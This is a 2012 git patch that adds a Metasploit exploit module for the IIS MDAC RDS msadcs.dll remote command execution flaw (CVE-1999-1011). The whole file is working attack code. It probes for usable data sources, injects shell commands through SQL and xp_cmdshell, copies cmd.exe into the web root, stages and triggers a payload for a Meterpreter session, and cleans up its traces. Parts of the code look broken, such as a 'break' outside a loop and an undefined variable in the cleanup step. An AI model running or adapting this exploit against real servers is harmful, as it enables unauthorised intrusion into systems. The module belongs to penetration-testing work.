From f25b828d314814baa16e62944ccb310da271f0c3 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Tue, 5 Jun 2012 18:09:07 +1000 Subject: [PATCH] Added exploit module msadc.rb --- modules/exploits/windows/iis/msadc.rb | 418 ++++++++++++++++++++++++++ 1 file changed, 418 insertions(+) create mode 100644 modules/exploits/windows/iis/msadc.rb diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb new file mode 100644 index 0000000000..53bd669ec7 --- /dev/null +++ b/modules/exploits/windows/iis/msadc.rb @@ -0,0 +1,418 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/tftp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerTFTP + + def initialize + super( + 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', + 'Description' => %q{ + This module can be used to execute arbitrary commands on IIS servers + that expose the /msadc/msadcs.dll Microsoft Data Access Components + (MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj + or AdvancedDataFactory to inject shell commands into Microsoft Access + databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN). + Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively + used in the wild in the late Ninties. MDAC versions affected include MDAC + 1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS + installed, and NT4 Servers with the NT Option Pack installed or upgraded + 2000 systems often running IIS3/4/5 however some vulnerable installations + can still be found on newer Windows operating systems. Note that newer + releases of msadcs.dll can still be abused however by default remote + connections to the RDS is denied. Consider using VERBOSE if you're unable + to successfully execute a command, as the error messages are detailed + and useful for debugging. Also set NAME to obtain the remote hostname, + and METHOD to use the alternative VbBusObj technique. + }, + 'Author' => 'patrick', + 'Version' => '$Revision$', + 'Platform' => 'win', + 'References' => + [ + ['OSVDB', '272'], + ['BID', '529'], + ['CVE', '1999-1011'], + ['MSB', 'ms98-004'], + ['MSB', 'ms99-025'], + ], + 'Targets' => + [ + # patrickw tested meterpreter OK 20120601 + # nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx + # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 17 1998' + ) + + register_options( + [ + OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), + OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]), + OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]), + OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]), + OptString.new('DBHOST', [ true, "The SQL Server host", 'local']), + OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), + OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), + OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']), + ], self.class) + end + + def check + res = send_request_raw({ + 'uri' => datastore['PATH'], + 'method' => 'GET', + }, 20) + if (res.code == 200) + print_status("Server responded with HTTP #{res.code} OK") + if (res.body =~ /Content-Type: application\/x-varg/) + print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") + Exploit::CheckCode::Detected + end + else + Exploit::CheckCode::Safe + end + end + + def create_dsn(drive, dsn) + req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr=" + + res = send_request_raw({ + 'uri' => req, + }, 20) + + if (res.code == 200 and res.body =~ /

Datasource creation FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) + if (datastore['VERBOSE']) + print_error("DSN CREATE failed for drive #{drive} with #{dsn}.") + end + return false + elsif (res.code == 200 and res.body =~ /

Datasource creation successful<\/H2>/) + print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!") + return true + end + end + + def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB + boundary = rand_text_alphanumeric(8) + method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" + dsn = Rex::Text.to_unicode(b) + if (b =~ /driver=\{SQL Server\}/) + select = Rex::Text.to_unicode(a + '"' + c + '"') + elsif (c.nil?) + select = Rex::Text.to_unicode(a) + else + select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'") + end + if (datastore['VERBOSE']) + print_status("Attempting to request: #{select} on #{dsn}") + end + + query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" + + sploit = "--#{boundary}\r\n" + sploit << "Content-Type: application/x-varg\r\n" + sploit << "Content-Length: #{query.length}\r\n\r\n" + sploit << query + sploit << "\r\n--#{boundary}--\r\n" + + data = "ADCClientVersion:01.06\r\n" + data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3' + data << "\r\n\r\n" + data << sploit + + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/' + method, + 'agent' => 'ACTIVEDATA', + 'headers' => + { + 'Content-Length' => data.length, + 'Connection' => "Keep-Alive", + }, + + 'method' => 'POST', + 'data' => data, + + }, 20) + + response = Rex::Text.to_ascii(res.body, 'utf-16be') + + if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) + print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE']) + return true, a, b + elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) + print_error("Exploit failed: the server is patched") + break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. + elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) + print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE']) + elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) + print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE']) + elsif (response =~ /Disk or network error./) + print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE']) + elsif (response =~ /Syntax error in CREATE TABLE statement/) + print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE']) + elsif (response =~ /Table '(\w+)' already exists/) + print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE']) + elsif (response =~ /Syntax error \(missing operator\) in query expression/) + print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE']) + elsif (response =~ /Too few parameters. Expected 1/) + print_good("Command was probably executed!") + elsif (response =~ /Data source name not found and no default driver specified/) + print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE']) + elsif (response =~ /Couldn't find file/) + print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE']) + elsif (response =~ /Specified SQL server not found/) + print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE']) + elsif (response =~ /General error Unable to open registry key/) + print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE']) + elsif (response =~ /It is in a read-only database/) + print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE']) + elsif (response =~ /Invalid connection/) + print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE']) + elsif (response =~ /\[SQL Server\]Login failed for user/) + print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE']) + elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '""
' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique. + print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE']) + elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? + print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE']) + else + print_status("Unknown reply - server is likely patched:\n#{response}") + end + return false + end + + def find_exec + # config data - greets to rain forest puppy :) + boundary = rand_text_alphanumeric(8) + + if (datastore['NAME']) # Obtain the hostname if true + + data = "ADCClientVersion:01.06\r\n" + data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' + data << "\r\n\r\n--#{boundary}--\r\n" + + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', + 'agent' => 'ACTIVEDATA', + 'headers' => + { + 'Content-Length' => data.length, + 'Connection' => "Keep-Alive", + }, + + 'method' => 'POST', + 'data' => data, + + }, 20) + + if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname + print_good("Hostname: #{$1}") + end + end + + drives = ["c","d","e","f","g","h"] + sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ] + dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums", + "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"] + + sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot% + "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", + "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", + "\\system32\\certmdb.mdb", + "\\system32\\ias\\ias.mdb", + "\\system32\\ias\\dnary.mdb", + "\\system32\\certlog\\certsrv.mdb" ] + + mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows + "\\cfusion\\cfapps\\forums\\forums_.mdb", + "\\cfusion\\cfapps\\forums\\data\\forums.mdb", + "\\cfusion\\cfapps\\security\\realm_.mdb", + "\\cfusion\\cfapps\\security\\data\\realm.mdb", + "\\cfusion\\database\\cfexamples.mdb", + "\\cfusion\\database\\cfsnippets.mdb", + "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", + "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", + "\\cfusion\\brighttiger\\database\\cleam.mdb", + "\\cfusion\\database\\smpolicy.mdb", + "\\cfusion\\database\\cypress.mdb", + "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", + "\\website\\cgi-win\\dbsample.mdb", + "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", + "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" + ] + + print_status("Step 1: Trying raw driver to btcustmr.mdb") + + drives.each do |drive| + sysdirs.each do |sysdir| + ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;") + return ret if (ret) + end + end + + print_status("Step 2: Trying to make our own DSN...") + x = false # Stop if we make a DSN + drives.each do |drive| + dsns.each do |dsn| + unless x + x = create_dsn(drive, dsn) + end + end + end + + table = rand_text_alphanumeric(3) + print_status("Step 3: Trying to create a new table in our own DSN...") + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query + + print_status("Step 4: Trying to execute our command via our own DSN and table...") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query + return ret if (ret) + + print_status("Step 5: Trying to execute our command via known DSNs...") + dsns.each do |dsn| + ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new) + return ret if (ret) + end + + print_status("Step 6: Trying known system .mdbs...") + drives.each do |drive| + sysdirs.each do |sysdir| + sysmdbs.each do |sysmdb| + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};") + return ret if (ret) + end + end + end + + print_status("Step 7: Trying known program file .mdbs...") + drives.each do |drive| + mdbs.each do |mdb| + exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};") + ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};") + return ret if (ret) + end + end + + print_status("Step 8: Trying SQL xp_cmdshell method...") + ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) + return ret if (ret) + end + + def exploit + print_status("Searching for valid command execution point...") + x = false + until (x) + x,y,z =find_exec + end + + if (x == true) + print_good("Successful command execution found!") + + # now copy the file + exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" + print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...") + # NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory + # Unfortunately, using %SystemRoot% doesn't seem to work :( + res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z) + + # Use the CMD stager to get a payload running + execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + + # Save these file names for later deletion + @exe_cmd_copy = exe_fname + @exe_payload = payload_exe + + # Just for good measure, we'll make a quick, direct request for the payload + # Using the "start" method doesn't seem to make iis very happy :( + print_status("Triggering the payload via a direct request...") + res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1) + end + + handler + + end + + # + # The following handles deleting the copied cmd.exe and payload exe! + # + def on_new_session(client) + + if client.type != "meterpreter" + print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") + print_error("The copied exe and the payload exe must be removed manually.") + return + end + + return if not @exe_cmd_copy + + # stdapi must be loaded before we can use fs.file + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + + # Delete the copied CMD.exe + print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...") + client.fs.file.rm(@exe_cmd_copy) + + # Migrate so that we can delete the payload exe + client.console.run_single("run migrate -f") + + # Delete the payload exe + return if not @exe_payload + + delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ? + + print_status("Changing permissions on #{delete_me_too} ...") + cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ? + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + + print_status("Deleting #{delete_me_too} ...") + begin + client.fs.file.rm(delete_me_too) + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + end + end + + def cleanup + framework.events.remove_exploit_subscriber(self) + end + + def execute_command(cmd, opts = {}) + # Don't try the start command... + # Using the "start" method doesn't seem to make iis very happy :( + return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/ + + print_status("Executing command: #{cmd} (options: #{opts.inspect})") + + uri = '/scripts/' + exe = opts[:cgifname] + if (exe) + uri << exe + end + uri << '?/x+/c+' + uri << Rex::Text.uri_encode(cmd) + + vprint_status("Attempting to execute: #{uri}") + + res = send_request_raw({ + 'uri' => uri, + 'method' => 'GET', + }, 20) + end + +end